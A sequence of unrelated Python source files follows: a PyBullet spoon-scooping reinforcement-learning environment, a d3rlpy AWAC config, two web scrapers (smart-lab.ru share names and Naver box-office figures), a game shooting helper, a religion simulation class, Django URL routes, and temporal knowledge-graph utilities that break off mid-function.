                if encoder_dict is not None and "im" in space_name:
                    if "im" in encoder_dict.keys():
                        shape = encoder_dict[space_name].get_output_shape_at(0)[1:]
                    else:
                        shape = state[space_name].shape
                elif encoder_dict is not None and space_name == "forces":
                    if "forces" in encoder_dict.keys():
                        shape = (encoder_dict[space_name].flow[-1].output_dim,)
                    else:
                        shape = state["forces"].shape
                else:
                    shape = state[space_name].shape
                high = np.inf * np.ones(shape)
                low = -high
                ob_space_dict[space_name] = spaces.Box(low, high, dtype=np.float32)
            self.observation_space = Dict(ob_space_dict)
        else:
            high = np.inf * np.ones(state.shape)
            low = -high
            self.observation_space = spaces.Box(low, high, dtype=np.float32)

    # positive when good, negative when bad
    def step(self, action_taken):
        self.time += 1
        self.move_spoon(action_taken[0:-1], max_force=self.scale * action_taken[-1])
        ob = self.state_function()
        if isinstance(ob, tuple):
            reward = ob[-1][-1]
        elif isinstance(ob, dict):
            reward = self.get_scooping_reward()
        elif not self.stirring and len(ob.shape) == 3: # is 3 dimensional
            reward = self.get_scooping_reward()
        else:
            reward = ob[-1]

        # if self.time == self.timeout:
        #    print("action", action)
        #    print("reward", reward_raw)
        done = False
        info = {"is_success": float(reward >= 0)}
        info['r'] = reward
        # info["reward_raw"] = reward_raw
        return ob, reward, done, info

    """try doing what fetchpush does essentially"""

    def move_spoon(self, action, max_force=40):
        pos, orn = p.getBasePositionAndOrientation(self.stirrer_id)

        if len(action) < 6:
            new_orn = orn
        else:
            delta_euler= np.array(action[3:])
            euler = delta_euler + np.array(p.getEulerFromQuaternion(orn))
            new_orn = p.getQuaternionFromEuler(euler)
        new_pos = np.array((pos[:]))
        new_pos += action[0:3]
        if action[2] < 0:
            color = (1,0,0)
        else:
            color = (0,1,0)
        p.addUserDebugLine(pos, new_pos, lineColorRGB=color, lifeTime=1)
        p.changeConstraint(self.cid, new_pos, new_orn, maxForce=max_force)  # 120)
        simulate_for_duration(self.dt)

    def stirring_state(self):
        world_state = self.base_world.world_state()
        stirrer_state = self.stirrer_state()
        # you don't need to worry about features or invariance.....so just make it a row vector and roll with it.
        # return np.hstack([np.array(world_state).flatten(),stirrer_state.flatten()]) #yolo
        reward_raw = stir_reward(world_state, self.base_world.ratio_beads_in_cup())
        reward_for_state = self.reward_scale * (reward_raw - self.reward_threshold)
        return np.hstack([stirrer_state.flatten(), reward_for_state])

    #reward for spoon being out of the cup, nothing otherwise
    def scooping_state(self):
        stirrer_state = self.stirrer_state()
        world_state = self.base_world.world_state()
        reward_for_state,  ratio_beads_in_target, ratio_beads_in_origin= self.get_scooping_reward(ret_tuple=True)
        joint_pos, joint_vel, joint_reactions, _ = p.getJointState(self.stirrer_id, 0)
        if reward_for_state > 0.1:
            print("reward", reward_for_state)
            self.side_states.append(world_state[0])
            self.top_states.append(world_state[1])
            self.force_states.append(np.array(joint_reactions))
            np.save("side_states2.npy",self.side_states)
            np.save("top_states2.npy",self.top_states)
            np.save("force_states2.npy",self.force_states)
        #return world_state, np.hstack([stirrer_state.flatten(), reward_for_state])
        #return world_state[0]
        return OrderedDict({'imside':world_state[0],'imtop':world_state[1], 'forces':np.array(joint_reactions), 'qeulerqdot':stirrer_state})
        #return OrderedDict({'imside':world_state[0],'imtop':world_state[1], 'forces':np.array(joint_reactions)})

    def get_scooping_reward(self, ret_tuple=False):
        #aabbMin, aabbMax = p.getAABB(self.base_world.cupID)
        #all_overlapping = p.getOverlappingObjects(aabbMin, aabbMax)
        #spoon_in_cup = (self.stirrer_id,-1) in all_overlapping
        cup_pos = np.array(p.getBasePositionAndOrientation(self.base_world.cupID)[0])
        scoop_pos = np.array(p.getBasePositionAndOrientation(self.stirrer_id)[0])
        ratio_beads_in_target =  self.base_world.ratio_beads_in_target(self.scoop_target)
        ratio_beads_in_origin =  self.base_world.ratio_beads_in_target(self.base_world.cupID)
        total_beads_accounted_for = ratio_beads_in_target+ratio_beads_in_origin
        out_penalty = -1*(1-total_beads_accounted_for)
        if ratio_beads_in_target > 0.5:
            print("ratio beads in target", ratio_beads_in_target)
        #world_state = self.base_world.world_state()
        reward_for_state  = 5*ratio_beads_in_target+ out_penalty
        if ret_tuple:
            #print("reward_for_state", reward_for_state)
            return reward_for_state,ratio_beads_in_target, ratio_beads_in_origin
        else:
            #print("reward_for_state", reward_for_state)
            return reward_for_state

    def stirrer_far(self):
        dist = self.base_world.distance_from_cup(self.stirrer_id, -1)
        threshold = 0.5
        return dist > threshold

    # this function is now a complete lie and has not only the stirrer state but
    # also the vector from the cup
    # also velocity relative to cup
    def stirrer_state(self):
        # returns position and velocity of stirrer flattened
        # r, theta, z in pos
        cup_pos, cup_quat  = p.getBasePositionAndOrientation(self.base_world.cupID)
        cup_pos = np.array(cup_pos)
        cup_euler = np.array(p.getEulerFromQuaternion(cup_quat))
        stirrer_pos = np.array(p.getBasePositionAndOrientation(self.stirrer_id)[0])

        vector_from_cup = stirrer_pos - cup_pos
        # forces in cup frame
        velocity_vec = np.array(p.getBaseVelocity(self.stirrer_id)[0]) - np.array(
            p.getBaseVelocity(self.base_world.cupID)[0])
        return np.hstack([vector_from_cup, cup_euler, velocity_vec])
    '''
    keep track of period with velocity: go in the direction the velocity is already going but once the pos is
    getting far, reverse it if velocity is low, gain momentum by moving to some random direction does z pid control
    '''
    def manual_stir_policy(self, state):
        state = state["qqdot"]
        pos_vec = state[0:2]
        velocity_vec = state[3:6]
        max_dist = 0.03  # tunable
        slow = 0.01
        max_force = 0.8
        zdes = 0.08
        # print("vel", np.linalg.norm(velocity_vec))
        # print("vel_vec", velocity_vec.round(3))
        if np.linalg.norm(pos_vec) > max_dist:
            velocity_vec = np.hstack([-pos_vec[0:2], 0])
        elif np.linalg.norm(velocity_vec) < slow:
            velocity_vec = np.array([0.1, 0, 0])
        # zpid
        velocity_vec[2] = zdes - state[2]
        overshoot = 10
        dt = overshoot * self.dt
        dpos = dt * velocity_vec
        return np.hstack([dpos, max_force])
    """
    manual scoop policy
    while the reward is low, dip the spoon in the cup at an angle
    bring the spoon out at that same angle once it's in
    """
    def manual_scoop_policy(self, obs_dict):
        imgtop = obs_dict["imtop"]
        imgside = obs_dict["imside"]
        obs = obs_dict["qeulerqdot"]
        forces = obs_dict["forces"]
        spoon_submerged = False
        coming_up = True
        #print(np.round(obs[-1],5))

        #from PIL import Image
        #Image.fromarray(img).show()
        lower_green = np.array([59,0,0])
        upper_green = np.array([61,400,400])
        spoon_submerged = False
        spoon_img = threshold_img(imgside, lower_green, upper_green)
        beads_img = threshold_img(imgside, np.array([119,0,0]),np.array([122,400,400])) + threshold_img(imgside, np.array([119,0,0]),np.array([150,400,400]))
        green_xs, green_ys = np.nonzero(spoon_img)
        bead_xs, bead_ys = np.nonzero(beads_img)
        euler = obs[3:6]
        euler = p.getEulerFromQuaternion(p.getBasePositionAndOrientation(self.stirrer_id)[1])
        if len(bead_xs) and len(green_xs) and min(bead_xs) <= max(green_xs):
            spoon_submerged = True

        kp = 0.3
        if spoon_submerged:
            target_z = 0.2
            kp2 = 0.3
            new_pos = [0,0,kp2*(target_z-obs[2])]
        #
            target_euler = [-1.971,0,0]
            target_euler = [-2.7,0,0]
            target_euler = [-2.6,0,0]
            target_euler[1] = euler[1]
            target_euler[2] = euler[2]
            current_z = obs[2]
            current_x = obs[0]
            if abs(current_z-target_z)< 0.03:
                print("at level")
            target_x = 0.4
            new_pos = [kp2*(target_x-current_x),0,kp2*(target_z-current_z)]
            if abs(current_x-target_x) < 0.04:
                target_euler[0] = euler[0]
                print("at loc", euler)
                kp = 0.7
                target_euler[1] = 3*np.pi/4.0

        else:
            new_pos = [0,0,-0.1]
            target_euler = [-2.2,0,0]
            target_euler[1] = euler[1]
            target_euler[2] = euler[2]

        new_euler = kp*np.subtract(target_euler, euler)
        return np.hstack([new_pos, new_euler,2.7])

    def reset(self):
        p.restoreState(self.bullet_id)
        self.__init__(visualize=self.visualize, real_init=False, distance_threshold=self.threshold, stirring = self.stirring, states=(self.side_states, self.top_states), force_states = self.force_states)
        return self.state_function()

    def setup(self, num_beads=2, scooping_world = False):
        start_pos = [0, 0, 0.2]
        start_quat = (0.0, 1, -1, 0.0)
        self.base_world.drop_beads_in_cup(num_beads)
        self.stirrer_id = p.loadURDF(path + "urdf/green_spoon.urdf", globalScaling=1.6, basePosition=start_pos,
                                     baseOrientation=start_quat)
        p.enableJointForceTorqueSensor(self.stirrer_id, 0)
        if scooping_world:
            bowl_start_pos = (self.distance_threshold,0.1,-0.1)
            bowl_start_orn = (0,0,1,0)
            self.scoop_target =  p.loadURDF(path + "urdf/cup/cup_4.urdf", globalScaling=4, basePosition=bowl_start_pos,
                                     baseOrientation=bowl_start_orn)
            p.changeDynamics(self.scoop_target,-1, mass=0)

        self.cid = p.createConstraint(self.stirrer_id, -1, -1, -1, p.JOINT_FIXED, [0, 0, 1], [0, 0, 0], [0, 0, 0],
                                      [0, 0, 0, 1], [0, 0, 0, 1])
        p.changeConstraint(self.cid, start_pos, start_quat)
        simulate_for_duration(0.005)
        self.base_world.zoom_in_on(self.stirrer_id, 2)
        self.bullet_id = p.saveState()
        self.real_init = False

    def simplify_viz(self):
        features_to_disable = [p.COV_ENABLE_WIREFRAME, p.COV_ENABLE_SHADOWS, p.COV_ENABLE_RGB_BUFFER_PREVIEW,
                               p.COV_ENABLE_DEPTH_BUFFER_PREVIEW, p.COV_ENABLE_SEGMENTATION_MARK_PREVIEW]
        for feature in features_to_disable:
            p.configureDebugVisualizer(feature, 0)

    def calibrate_reward(self, control=None):
        # color all droplets randomly
        colors = [(1, 0, 0, 1), (0, 0, 1, 1)]
        if not control:
            for droplet in self.base_world.droplets:
                random_color = colors[np.random.randint(len(colors))]
                p.changeVisualShape(droplet, -1, rgbaColor=random_color)
        reward_raw = stir_reward(self.base_world.world_state(), self.base_world.ratio_beads_in_cup())
        # print("Calibration comlplete. Value was", reward_raw)
        return reward_raw

def run_full_calibration():
    controls = []
    mixed = []
    for i in range(10):
        if i % 2 == 0:
            print("Iter", i)
        world = World(visualize=False, num_beads=num_beads)
        # print("Before mixing", i)
        controls.append(world.calibrate_reward(control=True))
        # print("After mixing")
        mixed.append(world.calibrate_reward(control=False))
        p.disconnect()
    data = {}
    print("controls", controls)
    print("mixed", mixed)
    data["num_beads"] = num_beads
    data["control_mean"] = np.mean(controls)
    data["mixed_mean"] = np.mean(mixed)
    data["control_std"] = np.std(controls)
    data["mixed_std"] = np.std(mixed)

    print("Control")
    print("Standard deviation", np.std(controls))
    print("Mean", np.mean(controls))
    print("Mixed")
    print("Standard deviation", np.std(mixed))
    print("Mean", np.mean(mixed))
    np.save(str(num_beads) + "_reward_calibration_more_samples.npy", data)

def run_policy(policy, world):
    rew_of_rews = []
    for j in range(400):
        rews = 0
        ob = world.state_function()
        for i in range(50):
            action = policy(ob)
            ob, reward, _, _ = world.step(action)
            rews += reward
        rew_of_rews.append(rews)
        world.reset()
        #print("j", j)
        #print(rew_of_rews)

class ScoopWorld(World):
    def __init__(self, **kwargs):
        kwargs['stirring'] = False
        super(ScoopWorld, self).__init__(**kwargs)

if __name__ == "__main__":
    import sys
    num_beads = 150
    if len(sys.argv) > 1:
        num_beads = int(sys.argv[1])
    if "slurm" in sys.argv:
        job_to_num_beads = {1: 50, 2: 80, 3: 110, 4: 140, 5: 170, 6: 200}
        num_beads = job_to_num_beads[int(sys.argv[1])]
    if "calibrate" in sys.argv:
        run_full_calibration()
    else:
        visual = "visual" in sys.argv
        world = World(visualize=visual, num_beads=num_beads, stirring=False, distance_threshold=0.3)
        #world.get_scooping_reward()
        run_policy(world.manual_scoop_policy,world)


import dataclasses

import torch

from ...base import DeviceArg, LearnableConfig, register_learnable
from ...constants import ActionSpace
from ...models.builders import (
    create_continuous_q_function,
    create_normal_policy,
)
from ...models.encoders import EncoderFactory, make_encoder_field
from ...models.optimizers import OptimizerFactory, make_optimizer_field
from ...models.q_functions import QFunctionFactory, make_q_func_field
from ...models.torch import Parameter
from ...types import Shape
from .base import QLearningAlgoBase
from .torch.awac_impl import AWACImpl
from .torch.sac_impl import SACModules

__all__ = ["AWACConfig", "AWAC"]

@dataclasses.dataclass()
class AWACConfig(LearnableConfig):
    r"""Config of Advantage Weighted Actor-Critic algorithm.

    AWAC is a TD3-based actor-critic algorithm that enables efficient
    fine-tuning where the policy is trained with offline datasets and is
    deployed to online training.

    The policy is trained as a supervised regression.

    .. math::

        J(\phi) = \mathbb{E}_{s_t, a_t \sim D}
            [\log \pi_\phi(a_t|s_t)
                \exp(\frac{1}{\lambda} A^\pi (s_t, a_t))]

    where :math:`A^\pi (s_t, a_t) = Q_\theta(s_t, a_t) -
    Q_\theta(s_t, a'_t)` and :math:`a'_t \sim \pi_\phi(\cdot|s_t)`

    The key difference from AWR is that AWAC uses Q-function trained via TD
    learning for the better sample-efficiency.

    References:
        * `Nair et al., Accelerating Online Reinforcement Learning with Offline
          Datasets. <https://arxiv.org/abs/2006.09359>`_

    Args:
        observation_scaler (d3rlpy.preprocessing.ObservationScaler):
            Observation preprocessor.
        action_scaler (d3rlpy.preprocessing.ActionScaler): Action preprocessor.
        reward_scaler (d3rlpy.preprocessing.RewardScaler): Reward preprocessor.
        actor_learning_rate (float): Learning rate for policy function.
        critic_learning_rate (float): Learning rate for Q functions.
        actor_optim_factory (d3rlpy.models.optimizers.OptimizerFactory):
            Optimizer factory for the actor.
        critic_optim_factory (d3rlpy.models.optimizers.OptimizerFactory):
            Optimizer factory for the critic.
        actor_encoder_factory (d3rlpy.models.encoders.EncoderFactory):
            Encoder factory for the actor.
        critic_encoder_factory (d3rlpy.models.encoders.EncoderFactory):
            Encoder factory for the critic.
        q_func_factory (d3rlpy.models.q_functions.QFunctionFactory):
            Q function factory.
        batch_size (int): Mini-batch size.
        gamma (float): Discount factor.
        tau (float): Target network synchronization coefficiency.
        lam (float): :math:`\lambda` for weight calculation.
        n_action_samples (int): Number of sampled actions to calculate
            :math:`A^\pi(s_t, a_t)`.
        n_critics (int): Number of Q functions for ensemble.
    """
    actor_learning_rate: float = 3e-4
    critic_learning_rate: float = 3e-4
    actor_optim_factory: OptimizerFactory = make_optimizer_field()
    critic_optim_factory: OptimizerFactory = make_optimizer_field()
    actor_encoder_factory: EncoderFactory = make_encoder_field()
    critic_encoder_factory: EncoderFactory = make_encoder_field()
    q_func_factory: QFunctionFactory = make_q_func_field()
    batch_size: int = 1024
    gamma: float = 0.99
    tau: float = 0.005
    lam: float = 1.0
    n_action_samples: int = 1
    n_critics: int = 2

    def create(self, device: DeviceArg = False) -> "AWAC":
        return AWAC(self, device)

    @staticmethod
    def get_type() -> str:
        return "awac"

class AWAC(QLearningAlgoBase[AWACImpl, AWACConfig]):
    def inner_create_impl(
        self, observation_shape: Shape, action_size: int
    ) -> None:
        policy = create_normal_policy(
            observation_shape,
            action_size,
            self._config.actor_encoder_factory,
            min_logstd=-6.0,
            max_logstd=0.0,
            use_std_parameter=True,
            device=self._device,
        )
        q_funcs, q_func_forwarder = create_continuous_q_function(
            observation_shape,
            action_size,
            self._config.critic_encoder_factory,
            self._config.q_func_factory,
            n_ensembles=self._config.n_critics,
            device=self._device,
        )
        targ_q_funcs, targ_q_func_forwarder = create_continuous_q_function(
            observation_shape,
            action_size,
            self._config.critic_encoder_factory,
            self._config.q_func_factory,
            n_ensembles=self._config.n_critics,
            device=self._device,
        )

        actor_optim = self._config.actor_optim_factory.create(
            policy.named_modules(), lr=self._config.actor_learning_rate
        )
        critic_optim = self._config.critic_optim_factory.create(
            q_funcs.named_modules(), lr=self._config.critic_learning_rate
        )

        dummy_log_temp = Parameter(torch.zeros(1, 1))
        dummy_log_temp.to(self._device)
        modules = SACModules(
            policy=policy,
            q_funcs=q_funcs,
            targ_q_funcs=targ_q_funcs,
            log_temp=dummy_log_temp,
            actor_optim=actor_optim,
            critic_optim=critic_optim,
            temp_optim=None,
        )

        self._impl = AWACImpl(
            observation_shape=observation_shape,
            action_size=action_size,
            modules=modules,
            q_func_forwarder=q_func_forwarder,
            targ_q_func_forwarder=targ_q_func_forwarder,
            gamma=self._config.gamma,
            tau=self._config.tau,
            lam=self._config.lam,
            n_action_samples=self._config.n_action_samples,
            device=self._device,
        )

    def get_action_type(self) -> ActionSpace:
        return ActionSpace.CONTINUOUS

register_learnable(AWACConfig)


"""Парсит 'https://smart-lab.ru/q/shares/' при помощи библиотек
requests и BeautifulSoup. Из скаченного материала выбираются названия эмитентов,
очищаются от "мусора" и записываются в базу MySQL запросом UPDATE."""

import requests
from bs4 import BeautifulSoup as bs
import re
from updt_cmpn_names import update_names

"""Получаем данные с сайта 'https://smart-lab.ru/q/shares/' и формируем из них
bs-объект"""
url = 'https://smart-lab.ru/q/shares/'
req = requests.get(url)
soup = bs(req.text, features = 'lxml')
soup_str = str(soup)

"""Записываем bs-объект в файл для последующего писка нужной информации"""
with open('text_sl.txt', 'w') as file:
    file.write(soup_str)

"""Находим все ссылки, содержащие названия эмитентов"""
res_link_lst = []
with open('text_sl.txt', 'r') as file_prs:
    for line in file_prs:
        item = re.findall('/forum.+?\s', line)
        res_link_lst.append(item)

"""Очищаем список имен эмитентов от пустых значений"""
clean_lst = [value for value in res_link_lst if value != []]

"""Формируем список имен эмитентов для занесения в базу данных MySQL"""
name_lst = []
for item in clean_lst:
    name = re.findall('>[А-Яа-яa-zA-Z0-9-.+]+.<?', item[0])
    name_lst.append(name)
clean_name_lst0 = [value for value in name_lst if value != []]
clean_name_lst1 = []
for item in clean_name_lst0:
    name = item[0]
    clean_name = name[1:-1]
    clean_name_lst1.append(clean_name)
del clean_name_lst1[:2]
del clean_name_lst1[-3:]

"""При помощи функции 'update_names', содержащейся в файле 'updt_cmpn_names.py'
обновляем названия имен в таблице MySQL"""
update_names(clean_name_lst1)


from random import randint

'''
При 300 значениях NO в основном файле кода мы говорим кораблю не стрелять
и если рандом попадет на значение YES, то огонь.
YES всегда генерируется в рандомных индексах дабы избежать закономерности выстрелов.
Данная функция вызывается в файле shuter.py
'''
choice_shoots = []
def yes_or_no():
    for i in range(300):
        choice_shoots.append('no') # добавить 300 вариантов no
    for i in range(15):
        choice_shoots.insert(randint(0, 299), 'yes') # в рандомном месте добавить варианты yes

    return choice_shoots


from django.shortcuts import render, redirect
import datetime
from bs4 import BeautifulSoup
import requests
# Create your views here.

# time on now
time_now = datetime.datetime.now()

alert_message = False

# for crawling
req = requests.get(
    'https://search.naver.com/search.naver?sm=top_hty&fbm=1&ie=utf8&query=%EC%97%84%EB%B3%B5%EB%8F%99+%EA%B4%80%EA%B0%9D%EC%88%98')
html = req.text
soup = BeautifulSoup(html, 'html.parser')
info = soup.find("div", class_="movie_info section").find("div", class_="info_main").find(
    "dl", class_="desc_detail").find("span", class_="property").text
noa = info.replace("명", "", 1).replace(",", "", 1)

def forPrint(array):
    for item in array:
        return item.text

def home(request):

    # for crawling
    req = requests.get(
        'https://search.naver.com/search.naver?where=nexearch&sm=tab_etc&query=%EB%B0%95%EC%8A%A4%EC%98%A4%ED%94%BC%EC%8A%A4')
    html = req.text
    soup = BeautifulSoup(html, 'html.parser')
    my_titles_soup = soup.select(
        '#main_pack > div.content_search.section._cs_movie_box_office > div > div.contents03_sub > div > div.movie_rank_wrap > div.movie_audience_ranking._main_panel.v2 > div:nth-child(1) > ul > li > div.movie_info > dl > dd:nth-child(2)'
    )

    for i in range(len(my_titles_soup)):
        my_titles_soup[i] = my_titles_soup[i].text

    my_titles2_soup = soup.select(
        '#main_pack > div.content_search.section._cs_movie_box_office > div > div.contents03_sub > div > div.movie_rank_wrap > div.movie_audience_ranking._main_panel.v2 > div:nth-child(1) > ul > li > div > a > div > strong'
    )

    for i in range(len(my_titles2_soup)):
        my_titles2_soup[i] = my_titles2_soup[i].text

    my_titlesday_soup = soup.select(
        '#main_pack > div.content_search.section._cs_movie_box_office > div > div.contents03_sub > div > div.movie_rank_wrap > div.movie_audience_ranking._main_panel.v2 > div:nth-child(1) > ul > li > div.movie_info > dl > dd:nth-child(4)'
    )
    my_titlesday = []
    for i in range(len(my_titlesday_soup)):
        my_titlesday.append(round(float(my_titlesday_soup[i].text.replace(
            "명", "").replace(",", "")) / int(noa), 2))

    my_titlesall_soup = soup.select(
        '#main_pack > div.content_search.section._cs_movie_box_office > div > div.contents03_sub > div > div.movie_rank_wrap > div.movie_audience_ranking._main_panel.v2 > div:nth-child(1) > ul > li > div.movie_info > dl > dd:nth-child(6)'
    )
    my_titlesall = []
    for i in range(len(my_titlesall_soup)):
        my_titlesall.append(round(float(my_titlesall_soup[i].text.replace(
            "명", "").replace(",", "")) / int(noa), 2))

    my_image = soup.select(
        '#main_pack > div.content_search.section._cs_movie_box_office > div > div.contents03_sub > div > div.movie_rank_wrap > div.movie_audience_ranking._main_panel.v2 > div:nth-child(1) > ul > li > div.thumb > a > img'
    )

    my_link = soup.select(
        '#main_pack > div.content_search.section._cs_movie_box_office > div > div.contents03_sub > div > div.movie_rank_wrap > div.movie_audience_ranking._main_panel.v2 > div:nth-child(1) > ul > li > div.thumb > a'
    )

    movies = []
    for i in range(len(my_image)):
        movies.append({'movie_title': my_titles2_soup[i], 'infor': my_titles_soup[i], 'day_ubd': "일간 UBD : " + str(my_titlesday[i]), 'total_ubd': " 누적 UBD : " + str(my_titlesall[i]),
                       'image': my_image[i].get("src"), 'link': my_link[i].get("href")})
    # return render(request, 'index.html', {'now': time_now, 'my_titles_res': my_titles_result, 'my_image': my_image})
    return render(request, 'index.html', {'now': time_now, 'movies': movies, 'message': alert_message})

def ubdresult(request):

    if request.GET['ubdint'] == "":
        alert_message = True
        return redirect('home')

    ubd_int = float(request.GET['ubdint']) / int(noa)
    ubd_rep = round(ubd_int, 3)

    return render(request, 'ubdresult.html', {'ubdrep': ubd_rep, 'now': time_now})

def ubdresult_rev(request):
    if request.GET['ubdint_rev'] == "":
        alert_message = True
        return redirect('home')

    ubd_rev = float(request.GET['ubdint_rev']) * int(noa)
    ubd_revrep = round(ubd_rev, 3)

    return render(request, 'ubdresult_rev.html', {'ubdrev': ubd_revrep, 'now': time_now})

def base_layout(request):
    template = 'base.html'
    return render(request, template)


import random

from tkinter import *

import internal.events as events
import internal.event_analysis as event_analysis
import internal.gui as gui
import civil.people as people
from culture.god import God, DOMAINS

# In percent
MONOTHEISM_CHANCE = 20

# In percent
LOSE_GOD_CHANCE = 1
GAIN_GOD_CHANCE = 8

MAX_BASE_TOLERANCE = 100

class Religion:
    def __init__(self, parent, language, name):
        self.parent = parent
        self.name = name
        self.language = language

        self.polytheistic = random.randint(0, 100) > MONOTHEISM_CHANCE

        self.gods = []
        if self.polytheistic:
            for new_god in range(random.randint(1, 10)):
                self.add_god()
        else:
            self.add_god(['everything'])

        # Lower tolerance means more tolerant
        self.tolerance = random.randint(1, MAX_BASE_TOLERANCE)

        self.age = 0

        # Adherents are organized by city name
        self.adherents = {}

    def add_god(self, domains=None):
        if domains is None:
            self.gods.append(
                God(self.language.make_name_word(), self, random.sample(DOMAINS.keys(), random.randint(1, 4))))
        else:
            self.gods.append(God(self.language.make_name_word(), self, domains))

    def get_tolerance(self):
        tolerance_value = self.tolerance

        for god in self.gods:
            tolerance_value += god.get_tolerance_score()

        # Can't have a negative or zero tolerance
        return max(1, tolerance_value)

    def get_role_weights(self):
        role_weights = {}
        for role in people.PERSON_ROLES:
            # print role
            role_weights[role] = 0

        # print role_weights['professor']

        for god in self.gods:
            for domain in god.domains:
                for (role, weight) in DOMAINS[domain].items():
                    role_weights[role] += god.importance * weight

        return role_weights

    def history_step(self, parent):
        self.age += 1

        # Obviously the number of gods in a monotheistic religion can't change.
        if self.polytheistic:
            for god in self.gods:
                if random.randint(0, 100) < LOSE_GOD_CHANCE:
                    parent.event_log.add_event('ReligionGodRemoved',
                                               {'god_a': god.name, 'religion_a': self.name},
                                               parent.get_current_date())

                    self.gods.remove(god)
                else:
                    god.history_step(parent)

            if random.randint(0, 100) < GAIN_GOD_CHANCE:
                self.add_god()

                parent.event_log.add_event('ReligionGodAdded',
                                           {'god_a': self.gods[-1].name,'religion_a': self.name},
                                           parent.get_current_date())

    def show_information_gui(self):
        self.gui_window = Tk()
        self.gui_window.title(self.name)
        self.gui_window.geometry("500x400+0+0")
        self.gui_window.config(background='white')

        self.gui_window.columnconfigure(1, weight=1)

        self.tolerance_label = gui.Label(self.gui_window, text='Tolerance: {}'.format(self.get_tolerance()))
        self.tolerance_label.grid(row=0, sticky=W)

        self.gods_display = Listbox(self.gui_window)

        for god in self.gods:
            self.gods_display.insert(END, god)

        self.gods_display.grid(row=1, columnspan=2, sticky=W + E)

        all_events = event_analysis.find_religion_mentions(self.parent.event_log, self.name)
        all_events = sorted(all_events.event_list, key=lambda event: event.date)

        self.event_log_display = Listbox(self.gui_window)

        for event in all_events:
            self.event_log_display.insert(END, event.text_version())

        self.event_log_display.grid(row=2, columnspan=2, sticky=W + E)


from django.urls import path

from .views import (
    GeneralView, AvtoCourseDetailView, TeacherDetailView, CourseFormView,
    FeedbackFormView, AvtoSchoolDetailView,
)

urlpatterns = [
    path('', GeneralView.as_view(), name="index"),
    path('avtocourse/<int:pk>/', AvtoCourseDetailView.as_view(),
         name="avto_course_detail"),
    path('avtoschool/<int:pk>/', AvtoSchoolDetailView.as_view(),
         name="avto_school_detail"),
    path('teacher/<int:pk>/', TeacherDetailView.as_view(),
         name="teacher_detail"),
    path('feedback-form', FeedbackFormView.as_view(),
         name="feedback_form"),
    path('course-form', CourseFormView.as_view(),
         name="course_form"),
]


# -*- coding: utf-8 -*-
from collections import defaultdict
import numpy as np
from scipy.stats import rankdata

import torch
import dgl

def build_graph(num_ent, train_facts):  # 生成总的dgl graph 训练数据集上的
    # g = dgl.DGLGraph()
    # g = dgl.graph()

    # g.add_nodes(num_ent)
    # g.add_edges(train_facts[:, 0], train_facts[:, 2])

    g = dgl.graph((train_facts[:, 0], train_facts[:, 2]), num_nodes=num_ent)

    # g.edata['relation'] = train_facts[:, 1]  # E 长度
    g.edata['type'] = torch.tensor(train_facts[:, 1], dtype=torch.long)  # E 长度
    g.edata['time'] = torch.tensor(train_facts[:, 3], dtype=torch.long)

    # norm
    # in_deg = g.in_degrees(range(g.number_of_nodes())).float().numpy()
    # norm = in_deg ** -0.5
    # norm[np.isinf(norm)] = 0
    # g.ndata['xxx'] = torch.tensor(norm)
    # g.apply_edges(lambda edges: {'xxx': edges.dst['xxx'] * edges.src['xxx']})
    # norm = g.edata.pop('xxx')
    # g.edata['norm'] = norm

    # 仅仅考虑入度
    in_deg = g.in_degrees(range(g.number_of_nodes())).float().numpy()
    norm = 1 / in_deg  # 倒数
    norm[np.isinf(norm)] = 0  # inductive 新实体
    g.ndata['xxx'] = torch.tensor(norm)
    g.apply_edges(lambda edges: {'xxx': edges.dst['xxx']})
    norm = g.edata.pop('xxx')
    g.edata['norm'] = norm

    return g

def build_graph_from_facts(num_ent, facts):  # 生成特定dgl graph 根据特定facts
    g = dgl.graph((facts[:, 0], facts[:, 2]), num_nodes=num_ent)

    g.edata['type'] = torch.tensor(facts[:, 1], dtype=torch.long)  # E 长度
    g.edata['time'] = torch.tensor(facts[:, 3], dtype=torch.long)

    # norm
    # in_deg = g.in_degrees(range(g.number_of_nodes())).float().numpy()
    # norm = in_deg ** -0.5
    # norm[np.isinf(norm)] = 0
    # g.ndata['xxx'] = torch.tensor(norm)
    # g.apply_edges(lambda edges: {'xxx': edges.dst['xxx'] * edges.src['xxx']})
    # norm = g.edata.pop('xxx')
    # g.edata['norm'] = norm

    # 仅仅考虑入度
    in_deg = g.in_degrees(range(g.number_of_nodes())).float().numpy()
    norm = 1 / in_deg  # 倒数
    norm[np.isinf(norm)] = 0  # inductive 新实体
    g.ndata['xxx'] = torch.tensor(norm)
    g.apply_edges(lambda edges: {'xxx': edges.dst['xxx']})  # 入度
    norm = g.edata.pop('xxx')
    g.edata['norm'] = norm

    return g

def build_graph_dic(num_ent, all_facts, time_list):  # 生成总的dgl dic 用于训练测试、小于当前时间
    '''
    :param num_ent:
    :param all_facts:
    :param time_list: 包含start_time, end_time
    :return:
    '''
    graph_dic = {}
    fact_times = all_facts[:, -1]
    start_time, end_time = time_list
    for temp_time in range(start_time, end_time+1):
        temp_facts = all_facts[fact_times < temp_time]  # 不包含当前
        temp_g = build_graph_from_facts(num_ent, temp_facts)
        graph_dic[temp_time] = temp_g
    return graph_dic

def build_graph_snapshots(dgl_g, time_list):  # 时序snapshots dic time: tkg
    all_tkg = dgl_g
    all_relations = dgl_g.edata['type']
    edge_times = all_tkg.edata['time']
    all_edge_len = len(edge_times)
    edge_list = np.array(range(all_edge_len))

    time_graph_dic = defaultdict(set)
    time_graph_edge_dic = defaultdict(dict)  # 新老graph的关系dict
    for time in time_list:
        edge_index = edge_times <= time
        new_edges = edge_list[edge_index]
        new_g = all_tkg.edge_subgraph(new_edges, preserve_nodes=True)

        # norm
        in_deg = new_g.in_degrees(range(new_g.number_of_nodes())).float().numpy()
        norm = in_deg ** -0.5
        norm[np.isinf(norm)] = 0
        new_g.ndata['xxx'] = norm
        new_g.apply_edges(lambda edges: {'xxx': edges.dst['xxx'] * edges.src['xxx']})
        norm = new_g.edata.pop('xxx').squeeze()
        new_g.edata['norm'] = norm

        # relation type
        new_g.edata['type'] = all_relations[new_g.parent_eid]
        new_g.edata['time'] = edge_times[new_g.parent_eid]
        time_graph_dic[time] = new_g

        temp_edge_dic = {}
        parent_eids = new_g.parent_eid.numpy()
        for i, parent in enumerate(parent_eids):
            temp_edge_dic[parent] = i
        time_graph_edge_dic[time] = temp_edge_dic
    return time_graph_dic, time_graph_edge_dic

def cal_ranks(scores, labels, filters):  # 输入都是B×E
    scores = scores - np.min(scores, axis=1, keepdims=True)  # 为啥减最小值
